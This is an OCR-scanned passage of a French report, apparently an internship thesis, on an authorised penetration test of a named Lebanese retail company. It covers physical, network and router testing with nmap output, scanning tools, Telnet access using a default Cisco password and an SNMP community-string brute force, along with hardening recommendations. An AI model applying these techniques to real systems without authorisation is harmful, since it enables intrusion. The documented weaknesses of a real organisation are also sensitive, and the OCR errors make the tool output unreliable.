Les approches correctives sont divisées selon plusieurs niveaux : social, organisationnel,
physique, humain... La variation de ces niveaux assure la sécurisation du systéme selon
plusieurs angles, elle est indispensable au cas ou I’une des mesures échoue.
On distingue quelques actions correctives communes dans la plupart des études :

- Démarrer I’audit sur tous les serveurs

- Enfermer les chambres des serveurs

- Renforcer la sécurité des systemes en implémentant des recommandations de sécurité

standardisées

- Utiliser les outils pour déchirer les papiers confidentiels

- Installer des pare-feux sur tous les ordinateurs et pour le réseau entier

- Implémenter des politiques de sécurisation

- Mis a jour régulicre des logiciels des serveurs web
Une vision du systeme d’une perspective non technique aide le hacker a identifier des actions
correctives complémentaires aux actions révélées par les outils de tests utilisés dans les phases

ultérieures.

3.1.6.3 Gestion des systemes apreés sécurisation

La procédure de sécurisation prend beaucoup d’effort et de temps au début, mais apres
I’établissement d’un seuil de sécurité, la poursuite de controle des nouveaux risques et
vulnérabilités sera plus facile. La sécurisation est un processus permanent qui doit étre géré
avec succes pour rester efficace. Les tests de piratage éthique performés de temps en temps
sont critiques pour prévenir de nouvelles failles possibles. Il faut considérer donc
I’automatisation des taches de contrdle en utilisant des outils pour effectuer des balayages et

surveillance continue du systéme.
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L’utilisation des automates est insuffisante et inefficace apreés une certaine période, d’ou le
recours de nouveau au piratage éthique et outils non automatisés. Mais le piratage éthique est
lui-méme insuffisant, donc il faut I’accompagner avec des logiciels d’évaluation des risques,
des politiques de sécurisation, des plans d’action en cas d’incidents et des formations pour les

utilisateurs pour les éveiller aux problémes de sécurité.

3.2 Exécution des attaques et Evaluation

La mise en ceuvre du projet a passé par plusieurs phases allant de I’identification des
ressources, la planification du travail, la typologie des attaques, les outils concernés,
I’exécution des attaques arrivant a I’évaluation des résultats obtenus. Je rentrerai dans la partie
qui suit dans les détails de chaque phase afin de mieux présenter les tiches suivies et résultats

obtenus.

3.2.1 Identification des ressources

La premiere question dans cette phase consiste a définir ce que I’entreprise veut
protéger et contre qui. ..
Afin d’identifier les ressources de 1’entreprise il faut d’abord comprendre son architecture et
ses composants. L’entreprise comprend 14 branches reliées entre-elles par divers type de

communication comme le montre le schéma ci-dessous :

o= O

Figure 0.1 : Architecture globale de I’organisation
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Les branches principales sont HO et DT, elles comprennent tous les départements

administratifs qui gérent le travail entier de I’organisation. Les autres branches sont des points

de ventes localisés dans la capitale Libanaise et ses banlieues. Le systéme informatique de

I’organisation est formé de plusieurs composants combinés ensemble pour assurer le

fonctionnement correct des services nécessaires au déroulement du cycle de travail de

I’entreprise. Les composants majeurs de ce systéme sont :

3.2.1.1 Systéme de gestion des identités et des accés

Service d’annuaire de Microsoft (Active Directory)

Active Directory (AD) renferme des informations relatives aux objets d'un réseau
(utilisateurs, ordinateurs, politiques de groupe...) et met celles-ci a la disposition des
utilisateurs et des administrateurs. AD permet aux utilisateurs d'accéder aux ressources
autorisées partout sur le réseau a 1'aide d'une simple procédure d'ouverture de session.
Il fournit aux administrateurs réseau une vue hiérarchique intuitive du réseau et un

point d'administration unique de l'ensemble des objets.

3.2.1.2 Services de messagerie

Microsoft Exchange Server

Plate-forme de messagerie qui intégre la messagerie, la planification et des outils pour
des applications de collaboration et de service de messagerie personnalisées.

Office Communications Server (OCS)

Produit d'entreprise qui intégre les moyens de communication en temps réel avec la

détection de la présence des utilisateurs, y compris la conférence Web

3.2.1.3 Outils de sécurisation

Internet Security and Acceleration Server (ISA Server)

Passerelle de haute sécurité qui protége le systéme informatique contre les menaces
provenant de I’Internet, tout en offrant aux utilisateurs un acces a distance rapide et
sécuris¢ aux données et aux applications.

Barracuda

Pare-feu qui forme une solution matérielle et logicielle intégrée pour assurer une
protection complete du serveur de messagerie ¢lectronique. Il offre une solution a la

fois puissante et simple a utiliser pour €liminer les courriers €électronique indésirables.
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- Websense
Solution de sécurité Internet intégrée qui bloque les logiciels espions, les codes
malicieux et autres menaces liées a Internet, de méme que les communications entre

les logiciels espions et autres enregistreurs de frappes de clavier vers leurs sites hotes.

3.2.1.4 Systémes de gestion des bases de données

- Logiciel de base de données Oracle
Le logiciel actuellement employé dans I’organisation, est appelé MACC, il est basé
sur la plateforme Oracle et développé par ’entreprise COMPUTEC.
MACC (Management Accounting and Cost Control) est formé de plusieurs modules
d'application adaptée chacune pour répondre aux différents besoins du marché du

travail. Les principaux modules utilisés sont :

o Gestion des stocks

o Systéme de point de vente : facturation, controle de stock, transfert des biens,
clients...

o Comptabilité générale

o Budget et rapports financiers

o Ressource Humaine : systéme de recrutement, données des employés, systéme

de présence, systeme de rémunération

- Logiciel de gestion des dispositifs informatiques « I'T system »
J’ai développé ce logiciel sur la plateforme Visual Basic 6 avec une base de données
sur la plateforme Microsoft SQL server, ce logiciel permet d’aménager les ressources
informatiques, contrdler les dépenses et planifier les études budgétaires demandées. I1

comprend plusieurs modules »

o Gestion des dispositifs informatiques

o Gestion des licences

o Gestion de la consommation des articles jetable (CDs, DVDs, Encre...)
o Gestion des routines de check up

o Rapport pour la comparaison annuel des achats et consommations
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3.2.1.5 Site Intranet

- SharePoint Portal Server 2003
Série de logiciels pour applications web développée par Microsoft. Les fonctionnalités
des produits SharePoint sont la gestion de contenu, les moteurs de recherche, la

gestion ¢lectronique de documents, les forums, la possibilité de créer des formulaires.

Le site interne de 1’organisation appelé AIWEB permet aux employés d’accéder aux
informations générales de 1’entreprise, de partager leurs opinions sur des sujets précis,

partager des images et d’étre mis a jour avec les événements survenant.

Ces composants fournissent les activités majeures du systéme informatique de 1’entreprise,
I’étude des attaques les visera pour évaluer les vulnérabilités existantes et consolider le niveau

de sécurité actuel.

3.2.2 Qu’est-ce que ’entreprise veut protéger ?

On peut diviser les ressources selon leurs types :

3.2.2.1 Serveurs et ordinateur

Les deux branches principales sont : HO et DT, elles comprennent les serveurs de base
de données principale et ceux des services complémentaires : Exchange, ISA, OCS,
Intranet... ainsi que les ordinateurs clients de tous les utilisateurs qui comprennent leurs
information privées et relatives au travail. Dans les autres branches il existe un serveur de
base de données et les ordinateurs de quelques employés administratifs. Les stations qui

restent sont des points de vente qui ne contiennent pas d’information critiques.

3.2.2.2 Portables

Il existe dans I’entreprise 70 portables, certains utilisateurs les utilisent dans plusieurs

branches et méme a 1’extérieur de 1’entreprise, a leur maison ou dans les places publiques. Les
b

portables et les données y existants sont menacés alors par des acces malins intentionnés ou

accidentels

3.2.2.3 Dispositifs de réseaux

Il existe au moins dans chaque branche un commutateur, un routeur et un modem et

parfois on trouve un point d’accés sans fil.
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3.2.2.4 Réseaux externe

Afin de procurer un acceés externe aux utilisateurs pour les services de messageries, il
existe une zone intermédiaire entre le réseau interne el 1’internet qui contient le pare-feu, le
routeur externe, I’ISA et ’Exchange. Cette zone contient donc les ressources importantes

pour ’entreprise et est menacées beaucoup plus que les autres ressources.

3.2.3 Contre qui ’entreprise veut protéger toutes ses ressources ?

3.2.3.1 Les employés

Ils forment des menaces directes ou indirectes sur les ressources existantes, par
exemple un employé en colére cherchant la vengeance peut essayer d’accéder aux données
privées et les détruire. Ou un employé qui prend des fichiers en dehors de I’entreprise et les
utilisent sur des ordinateur publics qui peuvent par la suite €tre accédés par des malveillants.
Un autre cas existe aussi, les employés qui communiquent des informations internes a

I’entreprise oralement ou par écrit a des proches ou a des concurrents.

3.2.3.2 Les visiteurs ou clients

Ils acceédent les points de vente ou les bureaux administratifs. Ils peuvent étre des
clients, des agents de livraison, des représentants de nouveaux fournisseurs ou parfois des
agents de support. Ces personnes peuvent accéder intentionnellement aux ressources qui ne
sont pas bien sécurisées ou peuvent recueillir les informations a travers le passage parmi les

employés.
3.2.3.3 Les Etrangers

Les malveillants sur I’internet forment des menaces périlleuses et multiples, ce genre
de menace est le plus difficile a combattre et en prévenir. L’ouverture de notre systéme vers

I’extérieur, notamment vers le monde de ’internet accroit ses vulnérabilités et failles.

3.2.4 Typologie d’attaque

Afin de protéger notre systéme contre ces menaces il est nécessaire d’élaborer un plan
d’attaque basé sur une méthodologie élaborée d’un point de vue d’un pirate noir. Celle que
j’ai choisie est basée sur 1’hiérarchie des couches TCP/IP, débutant par les attaques au niveau

de la couche physique arrivant a la couche application. Selon chaque niveau plusieurs outils et
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logiciels seront utilisés pour attaquer toutes les ressources relatives a cette couche. Le schéma

suivant montre les couches et protocoles a étudier.

TCP/IP TCP/IP Protocol Suite
a o M o
- o [7)]
Application = = £ = s E
= - 0 a - n
Transport TCP UDP ‘
Internet LT S T IPV6
=
5 Relais
Acces Token
R Eeaux Ethernet Ring trgﬁ'le ATM

Figure 0.2 : Couches et protocoles de TCP/IP
Référence : MCITP — cours 6420 — module 3

Les ressources a tester suivant ce modele peuvent étre divisées comme suit :

3.2.4.1 Couche Accés Réseaux

- Acces physique aux serveurs, routeurs. ..

- Prises vides de réseaux dans les murs ou dans les commutateurs
- Supports de sauvegarde de données délaissés

- Chambres ou portes non-sécurisées

- Vol des ordinateurs portables

3.2.4.2 Couche Internet

- Balayage et analyse du réseau et trafic de données de 1’organisation : Omnipeek, GFI
LanGuard et LanSpy

- Pénétration des périphériques: NMAP, SolarWind Toolset (IP Network Browser),
NetScanTools...

- Réseaux Wi-Fi : dircrack-ng, Cain Abel...

- Attaques sur les modems ou War Dialing : ToneLoc

- Surcharge et blocage des ressources : Ping de mort, Inondation de SYN, Vol de

session
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3.2.4.3 Couche Transport

- Découverte des ports TCP et UPD ouverts : SuperScan, NMAP
- Attaque des ports communs

- Surpassement du SSL : SSLstrip

3.2.4.4 Couche Application

- Systeme d’exploitation : mots de passe, fichiers systémes, extension de priviléges,
maliciels

- Messageries : email, banniéres, messages instantanés. ..

- Application web : serveur du courrier électronique, intranet

- Application client : Oracle, SQL...
3.2.5 Risques impliqués

Avant de débuter les tests il faut prendre en considération les risques et problémes
pouvant apparaitre lors des attaques pour cela les attaques risqués seront effectués dans un
environnement de test répliquant la méme architecture de n’importe quel endroit dans
I’entreprise. Si des obstacles apparaissent ou des complications surviennent il faut avoir une

procédure d’annulation et une solution alternative de récupération.

3.2.6 Exécution des attaques et résultats

3.2.6.1 Couche Acceés réseaux

Plusieurs facteurs menent a 1’existence des vulnérabilités physiques, notamment la
dimension de 1’endroit, nombre de batiments, nombre d’employés, nombre des points d’acces
et surtout ’emplacement des chambres informatiques. Dans la partie qui suit j’ai divisé les
tests physiques selon I’emplacement et suivant deux scenarios : un employé dans 1’entreprise

a priviléges limités, et un étranger visitant 1’entreprise.

a. Objectifs

- Rassembler les informations des branches
- Identifier les failles de sécurité physiques

- Accéder aux ressources non sécurisées
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b. Détails d’évaluation

- HO : Branche principale déployée dans trois étages ou résident les départements

administratifs et les serveurs vitaux de I’organisation.

o

Comprend 4 points d’acces contrdlés par des systemes de cartes d’acces et une
réceptionniste a I’entrée.

Sept serveurs résident dans une chambre fermée a clé face au bureau de notre
département

Dans chaque étage il y a un commutateur enfermé dans un rack sécurisé

I1y a un point d’acces sans fil dans le premier étage

Dans tous les étages il y a des cameras de surveillance dont les enregistrements
sont disponibles pour un mois.

Dans le premier étage il y a un systéme de détection de mouvement branché a
un systeme d’appel téléphonique automatisé.

Il existe environ 70 utilisateurs travaillant sur leurs propres stations et cing

employés divers

- DT : c’estla branche la plus grande parmi les points de ventes, elle comprend un

grand magasin et 10 boutiques disséminées sur les bords d’une rue piétonne au center

ville de Beirut. Dans cet endroit réside aussi un batiment pour les bureaux

administratifs déployés sur 3 étages.

O

Le batiment administratif comprend 2 points d’accés dont un est contrdlé par
une porte sécurisée et I’autre par un agent de sécurité. Chaque étage comprend
un systéme de carte d’acces pour y accéder.

Le batiment Aishti comprend 3 points d’acceés sécurisés par des agents de
sécurité

Cinq serveurs sont dans une chambre fermée a cl¢ ayant une fenétre ouverte
sur le bureau de notre département qui est sécurisé par un systeme de carte
d’acces.

Les racks sont malheureusement dans une chambre ouverte non sécurisée

Il y a un point d’acces sans fil dans le restaurant « People » disponible a tous
les clients

Tous les bureaux et les points de vente sont surveillé par des cameras dont les

enregistrements sont disponibles pour un mois.
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O

Il existe environ 80 utilisateurs travaillant sur leurs propres stations et 200

employés divers

- SS: cet emplacement est formé par un batiment de 5 étages de points de vente et un

batiment de bureaux administratifs

O

Le batiment administratif comprend 1 point d’accés contr6lé par des cameras
de surveillance et systéme de cartes d’acces

Le batiment Aishti comprend 3 points d’acceés sécurisés par des agents de
sécurité

Le serveur et tous les appareils informatiques résident dans une chambre non
sécurisée mais difficile a localisée par les étrangers

Tous les bureaux et les points de vente sont surveillé par des cameras dont les
enregistrements sont disponibles pour un mois.

Il existe environ 20 utilisateurs travaillant sur leurs propres stations et 100

employés divers

- WH : Lieu principal de réception, stockage et distribution des marchandises. Lié¢ par

fibre optique au SS

O

Le batiment comprend 2 points d’acces surveillés par des cameras dont les
enregistrements sont disponibles pour un mois et un agent de sécurité.
Serveur et rack situés dans un bureau non sécurisé¢ pendant la journée
Il existe 7 utilisateurs travaillant sur leurs propres stations et 30 employés

divers

- CM, VR, ABC, FQ: Ces branches suivent le méme concept concernant

I’emplacement des appareillages informatiques et leur sécurisation

O

Chaque branche est formée d’un ou deux étages, ayant 2 points d’acces
controlés par des agents de sécurité

Le serveur et le rack sont situés dans la chambre de stockage

Le tout est surveillé par des cameras dont les enregistrements sont disponibles
pour un mois.

Il existe environ 4 utilisateurs et une vingtaine d’employés dans chaque

branche
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- PH,MZ,0OA : ces branches sont des petites boutiques qui ne sont pas liées directement
avec le réseau de I’entreprise mais 1’accédent par une connexion sur modem.
o Chacune des branche a un seul point d’accés non sécuris€ par un agent
permanent ou des cameras
o Il n’y a pas un serveur dédi¢ mais un ordinateur contenant la base de données

auquel accéde I’employé pour facturer

c. Résultats

Les résultats des tests de la couche acces physique obtenus ont dévoilé plusieurs

vulnérabilités existantes dans certaines branches :

- Apparemment 1’acceés physique aux ressources est difficile dans la plus part des
branches par rapport aux étrangers. Les ressources vitales sont situées dans des
emplacements inaccoutumés, un client ne pourrait jamais deviner ces emplacements.
Mais dans le cas d’un employé¢ de I’entreprise ayant une carte d’acces et connu par les
réceptionnistes ou les gardes de sécurité le controle est plus difficile. Ces employés
peuvent accéder aux ressources non verrouillées et essayer d’ajouter des outils
d’espionnage ou brancher leurs portables.

- Dans plusieurs branches j’ai pu brancher mon portable dans des prises vides et avoir
une connexion avec le réseau

- Jai trouvé les supports de données dans la branche HO mais conserver dans le bureau
du département informatique et difficile & emporter par une personne étrangere.

- Plusieurs utilisateurs laissent leurs ordinateurs non verrouillés ce qui permet a un
intrus d’y accéder.

- Des supports de données ont ¢été¢ délaissés sur tables ou dans les poubelles des
utilisateurs.

- Dans les branches sur modems, les données ne sont pas sécurisées face aux utilisateurs

ou employés, ils peuvent effacer ou détruire les données aisément.

La majorité des résultats dévoilent un environnement physique plutdt sécurisé, 1’acces des

employés aux ressources est plus aisé par rapport aux étrangers
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Figure 0.3 : Distribution de sécurisation dans les branches

d. Recommandations

La sécurité physique décrit les mesures qui empéchent ou dissuadent un attaquant

d'accéder a un emplacement critique, aux ressources ou aux informations stockées sur des

supports physiques. Afin de fortifier cette sécurit¢ plusieurs recommandations sont

présentées :

Toutes les salles informatiques et les racks doivent étre verrouillés et les clés réservés
dans notre département

Dans la branche DT il faut changer le positionnement des chambres des racks et des
serveurs, ils doivent étre sécurisés des dangers humains et naturels

Il faut vérifier toutes les prises vides et les déconnectées des commutateurs.

Si possible ajouter des verrous aux portables.

Créer une interface limitée pour les utilisateurs des branches sur modem.

Instruire les employés des recommandations de sécurité : verrouiller leurs ordinateurs,
détruire les medias avant de les jetés, ne pas dévoiler des informations sur

I’entreprise. ..
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3.2.6.2 Couche Internet

Tout systeme informatique exige I’existence d’un systtme de communication
fondamentale ou «réseau» pour fonctionner. Ce réseau est formé d’un ensemble de
périphériques : routeurs, commutateurs, modems, pare-feu... Cette partie couvre les attaques

permettant la découverte et pénétration de ce réseau et manipulation des ressources vitales.

a. Objectifs :

- Balayage et analyse du réseau
- Pénétration des périphériques du réseau

- Tests de surcharge et blocage des ressources

b. Détail d’évaluation

b.1 Balayage et analyse du réseau

La premiere phase consiste a découvrir I’architecture du réseau et I’emplacement des
périphériques principaux de 1’organisation. Il faut essayer plusieurs outils de balayage a partir
d’un poste de client étranger a ce réseau ayant passé I’étape d’acces physique de I'intérieur de
I’organisation ou de I’internet, ou d’un employ¢ possédant un ordinateur branché et essayant
d’accéder aux ressources vitales de ’entreprise.

Il existe trois genres de scanneurs : ports, réseaux et vulnérabilités, tous basés sur le principe
, . A ‘o .
d’envoie des requétes spécifiques sur tous les adresses dans un réseau, ayant pour effet un

comportement anormal et analysant ensuite les paquets réponses retournés.

Requéte ICMP I I
Réponse ICMP
Clients | |
Requéte ICMP
Hacker
Réponse ICMP Y
Pare-feu

I I

Figure 0.4 : Méthodologie générale des scanneurs
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Dans cette étape j’ai effectué les tests a partir d’un portable étranger par rapport au réseau

n’ayant ni adresse IP ni connecté au domaine de 1’organisation. Les outils principaux utilisés

sont Omnipeek, GFI LanGuard et LanSpy. Ces outils de captages recueillent tous les paquets

passants sur le réseau et analysent leurs origines et leurs types. Comme le montre les schémas

ci-dessous, les requétes passantes sur le réseau dévoilent les rangées d’adresse IP utilisées, le

routeur, le serveur et I’identité de quelques postes

Packet | Source
4 EPrisco:74:D5:4aC
5 & 192.165.
& EJCisco:74:D5:4C
7 4 13z.168.
6 EfCisco:74:D5:4C

W 192.165.14

B9 Cisco:74:D5:4C

B9 0isco:74:D5: 40

B risco:74:D5:4C

o 192.168.1
Efcisco:74:D5:4C

*J FE80: :ESBD: 762E. ..
Efcisco:74:D5:4C
EPHewlettPac: 30:6. ..
Efcisco:74:D5:4C

o 192.168.

B9 Cisco: 2E: 3C:ES

BB Cisco:74:D5:4C

B9 Cisco: 74:D5:4C
Efcisco:74:D5:4C

i 192,168,
Efcisco:74:D5:4C
EBDA I Namnt RN

Destination

EPMcast 802.1d Br...
i 224.0.0.10
E¥Mcast 802.1d Br...
i 192,168, 255
EPMcast 802.1d Br...
i 19z.168. 255

i 224.0.0.10

iy 192,165, 285

E¥Mcast g02.1d Br...
EP¥cast 802.1d Br...
B Cisco:74:D5:4C

i 224.0.0.10
E9Mcast 802.1d Br...
W FFO2::l:2

E9Mcast 802.1d Br...

EPEthernet Broadcast

EPMcast 802.1d Br...
i 224.0.0.10

EPEchernet Eroadcast

E®Mcast 802.1d Br...
E¥Mcast §02.1d Br...
EPCisco:74:D5:4C

i 2z4.0.0.10
E@Mcast 802.1d Br...

EOFthernet Rraadoast

Figure 0.5 :

Flags Size Relative Time | Protocol Summary E
= 64 2.191046 B02.1 |
78 2.358558 EIGRP Hello
= 6 4.190957 §0z.1
el 5.497823 IE Name dvc C QUERY NAME=~ COM =20> Server Service
= 6 190804 80Z.1
NE Name Svo C QUERY HAME- LCOM <20> Server Hervice
EIGRF H:

C QUERT NAME=S- 1. COM <

Y -

HE Name <20> Server Service

2 64 §.190743 8§0z.1
& 64 10.1905458 &0Z.1

64 10.639734 Loopback

78 11.830389 EIGRF Hello
& 64 12.190467 &0Z.1

167 14.028781 UDP Src= 546,Dst= 547 ,L= 101

& 64 14.190321 &0z.1

64 15.174238 ARF Request 192.168. =7
& 64 16.190243 &0z.1

78 16.474373 EIGRF Hello

64 15.045679 ARP Reguest 192.168 =2
= 6 16.190156 BO02.1
: 64 20.190118 &02.1

64 20.639667 Loophack

76 21.214869 EIGRF Hello
= 64 22.190655 &0zZ.1

Ra 23927351  ARP Remiest 197 1RR. £ 2

Résultat du captage du trafic par OmniPeek

Une fois les rangés d’adresses IP ont été dévoilées j’ai donné au portable une adresse IP

convenable dans les rangées trouvées dans chaque branche et effectué les tests de balayage

détaillé du réseau.

b 2 LanSpy 2.0 — LanTricks: www.LanTricks.com

File Tools Help
25 (192168 1 +.1-192168.7 254 ~v|=
92168 Mindows Server 2003)

Hessnse

#

v Round Trp Time (RTT): <10 ms
Time To Live (TTL): 128
DNS name.

NetBios names [8)

User:

MaAC: 00:19:BB:CB:A1:6E
Comment:

Platform: 500

Version: 5.2

Roles: (8]

Primary domain controller
Remote Supports
Remote Time of Day
Shared ressources [23)
MNetwork Statistics

TCP ports (12)

UDP ports (10)

e e

i |

=Y

J}

00

A

o o MY e

J 1921681

@ Round Tnp Time (RTT): <10 ms
@ Time To Live (TTL): 255
I=8 MAC: 00:13:19:5D:48:10
@ TCP ports (1)

H- @ 23 telnet => Telnet
@ UDP ports (15)

e

Figure 0.6 : Résultat du balayage d’une rangée d’adresse IP avec LanSpy
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Figure 0.7 : Résultat du balayage d’une rangée d’adresse IP avec GFI LanGuard

L’exécution de ces outils dans différentes branche dévoile 1’architecture compléete du réseau :
- Rangées d’adresse IP utilisées
- Liste des utilisateurs
- Point d’acceés Wi-Fi / Routeurs / commutateurs / pare-feu

- SE, services actives et vulnérabilités présentes

Les graphes suivants récapitulent les résultats des sévérités obtenues par branches :

Sévérité totale

100%
80%
60%
40%

20%

0%

CM ABC VR

WH

W Faible ™ Moyenne M Elevée

Figure 0.8 : Sévérité totale dans les branches principales
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Les deux branches principales ont plutdt une sévérité totale faible, mais quelques branches

présentent des vulnérabilités plutot élevées dont il faut prendre en considération.

Séverité/Systeme
d'exploitation

120% d
100% <%

80%

60%
40%
20%

0%
HO DT SS CM ABC VR WH

B Client M Serveur & Autre

Figure 0.9 : Sévérité par SE

Les postes clients représentent la majorité des sévérités des SE, mais n’empéche I’importance
des vulnérabilités existantes dans les serveurs comprenant les ressources importantes de

’organisation.

Sévérité/Catégorie

100% -4

80%

60%

40%

20%

0%
HO DT SS CM ABC VR WH

M Portes Dérobées M Services B Web

Figure 0.10 : Sévérité par catégorie de vulnérabilité
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Les services fonctionnant dans les postes clients, serveurs ou sur les périphériques du réseau
constituent la majorité des vulnérabilités existantes, il faut par la suite les contrdler pour

minimiser leurs impacts.

Suite aux tests effectués les cibles de la couche internet a visées seront :

Figure 0.11 : Points d’attaque a visés dans le réseau

Table 0-I1I : Périphériques cibles de la couche internet
HOR DTR SSR XR
HOC DTC

HOW DTW WHW
XF

b.2 Pénétration des périphériques du réseau

Cette deuxiéme phase consiste a pénétrer les périphériques du réseau et essayer
d’¢lever les priviléges acquis afin de manipuler les configurations existantes. Les tests seront
effectués d’un portable branché au réseau ayant une adresse IP des rangés d’adresses
dévoilées dans la phase précédente, mais qui n’est pas membre du domaine et n’ayant aucun
identifiant de ce domaine. Les tests effectués auparavant révelent les informations nécessaires

des cibles choisies :
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Table 0-1V : Détails des cibles a attaquer

TELNET 23,1720 67, 161, 162, 1985

HOC HTTP, TELNET 23, 80 67, 161, 162, 1985

HOW HTTP, HTTPS 80, 443 88, 123, 138, 3127...

DTR TELNET 23,1720 42, 53, 67, 88, 520, 4500
HTTP, TELNET 23,80 42,53, 67, 88, 520, 4500

DTW HTTP, HTTPS 80, 443 161, 389, 520, 3127...

SSR TELNET 23, 1720, 5060 161, 162, 1975, 2104, 5060

WHW HTTP, HTTPS 80, 443 42,53, 67, 88, 520, 4500
212.98.X.X 22,23 42,53, 88, 389, 4500
192.168.X.X 2

- SSRetHOR:
Ces routeurs comprennent quelques ports TCP ouverts : 23 (Telnet), 1720
(H323. Hostcall) et 5060 (sip). J’ai essayé d’abord de connaitre le SE par ’outil

NMAP sur un des ports ouverts 1720 et j’ai obtenu ainsi la version du SE.

Mrnap Cutpuk | Ports | Hosts || Topology II Host Details -, Scans |

rmap -0 -p1720 -n 192,168, v

Starting Mmap 5.Z21 { http://mmap.org ) at 2000-05-06 15:2% GTR Standard Time

Nmap scan report for 192.16%. 0

Host iz wup (0.00s latency).

PORT STATE SERVICE

1720/tcp open MH_323/0.931

MAC Address: $5:43:E1:B2:27:B8 (Unknowm)

Warning: 058can results may be unreliabhle because we could not find at least 1 open and 1 closed port
Device type: router|WLP

Bunning: Cisco I0E 12X

08 details: Cisco 826, 17EL, 1841, or Z200 router (IOS 12.4 - 15.0), Cisco Adronet AIR-APL141N WAP (I0S 1Z.4)
Netwwork DMistance: 1 hop

03 detection performed. Please report any incorrect results at http: //nmap.org/submit/ .
Mmap done: 1 IP address (1 host up) scanned in Z.56 seconds

Figure 0.12 : Résultat NMAP sur SSR

Mrnap Outpuk |Ports ! Hostsli Topology |I Host Details“ Scans|

!nmap -p 1720 -0 -n 192,168 L

Starting HNmap 5.21 ( http://nmap.org ) at Z010-05-08 10:38 GTE Standard Time

Mmap scan report for 192 168 8 ¢

Host is up (0.00Els latency).

PORT STATE SERVICE

1720ftcp open H.323/0.931

Warning: 035can results may be unrelisble because we could not find at least 1 open and 1 closed port

Device type: router |WLP

Bunning: Cisco I0S 1Z2.X

05 details: Cisco EZEE0 or 36E0 router (I0S 12.1 - 12.3), Cisco Aironet 1200 WAP (I03 1Z.3), Cisco Airomet 1Z230
series WAP (I0S 12 3)

08 detection performed. Please report any incorrect results at http://mmap.org/submit/ .
NMmap dome: 1 IP address (1 host up) scamned in .47 seconds

Figure 0.13 : Résultat NM AP sur HOR
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J’ai essay¢é I’ouverture d’une session Telnet avec le mot de passe par default « cisco » est j’ai

pu accéder avec des priviléges administratifs.

Résultat : Routeurs compromis, priviléges administratifs acquis.

- DTR:
Ce routeur comprend deux ports TCP ouverts : 23 (Telnet) et 1720 (H323. Hostcall).
J’ai essayé d’abord de connaitre le SE par 1’outil NMAP sur un des ports ouverts 1720 et j’ai
obtenu ainsi la version du SE.

Mmap Cutput | Ports { Hosts | Topology | Host Details | Scans|
\nmap -p 1720 -0 -n 192,168, ~ @

Starting Nmap 5.E21 { http:/ omap.org ) at 2010-05-07 15:26 GTE Standard Time

Muwap scan report for 192 168 0

Hozt iz up (0.00= latency).

PORT STATE SERVICE

1720ftcp open MH.323/0. 931

MAC Address: 00:13:19:5D:48:10 (Cisco Systems)

Warning: 055can results may be unreliable because we could not find at least 1 open and 1 closed port

Dewvice type: router|WAT
Bunning: Cisco I05 12 X
05 details: Cisco 200-series, 1801, E000-series, 3800, 4000, or 7000-serjies router; or 1100 or 1E4ZG WAP (IOE 12 .F -

1Z.4)
Netyvmrk Distance: 1 hop

0% detection performed. Please report any incorrect results at http: //mmap. org/submits .
Mmap done: 1 IP address (1 host up) scanned in Z.52 seconds

Figure 0.14 : Résultat NMAP sur DTR

Le but est d’avoir le mot de passe afin d’accéder au fichier de configuration. J’ai essayé
Telnet avec le mot de passe par default « cisco » mais je n’ai pas pu accéder. Arrivant a ce

point il existe deux options pour pouvoir pénétrer ce routeur :

o HTTP : Pour manipuler I’adresse URL
Comme le port TCP 80 dédié pour les connexions HTTP est fermé, cette méthode
ne marchera pas sur ce routeur.

o SNMP : Pour gérer le dispositif
Pour ouvrir une connexion SNMP avec le routeur il faut savoir les community
string (CS) existants, ils sont de deux type: Lire (Read Only), Lire/Ecrire
(Read/Write). L’exécution de 1’outil SNMP Brute Force Attack dévoile un CS
«aiXXX » avec acceés Lire. L’utilisation ensuite de I’outil /P Network Browser
avec ce CS apercoit une partie du fichier de configuration. Aucun CS avec acces

Lire/Ecrire a été découvert.

Résultat : Routeur non compromis
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- XR:
Ce routeur est le point d’acces externe de I’internet vers 1’entreprise. Les tests seront
effectués de I’extérieure a partir d’un portable li¢ directement a I’internet.
La premicre phase consiste a trouver I’adresse IP de ce routeur. Une recherche du domaine de
I’entreprise sur internet retourne des informations sur un sous-domaine du serveur des

messageries. C’est un bon point de départ pour suivre le chemin vers I’intérieur du réseau.

o

@ o) =0 B http://www.robtex.com/dns/aishti.com.htm|

File Edit View Favorites Tools Help

¢ Favorites oo~ -'] exchange aishti - Google 5. | I aishti.com

aisht com Luck[Searct]in dng] 7<=/ Googe

aishti.com

| Summary || Records || Graph | | Shared | | Whois | | Blacklists | [ At
Websites Linksys Router Become a Reseller today
Linksys by Cisco Official Site home & office Hottest reseller plan going Best in the mar
networking made easy! resell. yourweb121.com
www.LinksysbyCisco.com/AE
aishti.com ("A&iuml;shti”) is a domain controlled by two nameservers at |lebanonhost.com. Both are on the same IP network.
are on different IP networks.
acico.net, koein.c ihi dmt-it.com and at least 35 ath rs with this domain. xol.r
other hosts share|mailservers with this domain. mail.aishti.com are subdomains to this hostname.
aishti.com is ranked #3496722 world wide. It has gained 27 inlinks over a period of eleven years. It has 2 organic keywords,
Trustworthiness of this site is good. (more on reputation).It is not listed in any blacklists.Search for aishti.

Figure 0.15 : Recherche du domaine sur internet

La deuxiéme phase consiste a suivre les traces aboutissant a : mail.aishti.com a ’aide de la

commande fracert

racing route to mail.aishti.com [212_98
pver a maximum of 38 hops:

ns ms 192.168.
41 ms ms dsl-213-2¢4-/3—-1.terra.net.1lb [213.284.73.11

ns ms 172.268.1 .18

ns ms rev-212-98-136-1%7.terra.net.1b [212_.98.136.171

mns ms gi—A—-1_.core—1_.terra.net.lb [212_98_.136.331

ns ms LA5.fa—BA-A.zolidere.terra.net.lh 2132 98 155 246
ms rev—212-98 .terra.net 1h|[212_98. i
me mail.aishti.com [212.98.

Figure 0.16 : Route de I’internet vers mail.aishti.com

Comme le montre la figure, I’adresse aboutissant au serveur recherché est probablement
I’adresse du routeur externe de 1’entreprise. Pour s’assurer j’ai utilis¢ NMAP pour découvrir le

SE. Effectivement le résultat obtenu a confirmé que c’est un routeur Cisco.
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Mmap Qutput | Ports [ Hosts | Topology | Host Dekails | Scans|

nmap -p 22 -0 -n 212,98

Starting Nwap 5.2Z1 { http://mmap.org | at 2010-05-07 16:30 GTE Standard Tine
Mwap scan report for 212_98. 0 |

Host iz up (0.00050s latency).

PORT STATE SERVICE

22ftcp open ssh

Warning: 0385can results may be unrelisble because we could not find at least 1 open and 1 closed port
Device type: switch

Bunning (JUST GUESESING) : Cisco IO0S 1z X (89%)

Aggressive 05 qu : Cisco 32750 switch (I0S 1Z2_2) (29%)

HNo exact 08 matches for host (test conditions non-ideal).
Netywork Distance: 1 hop

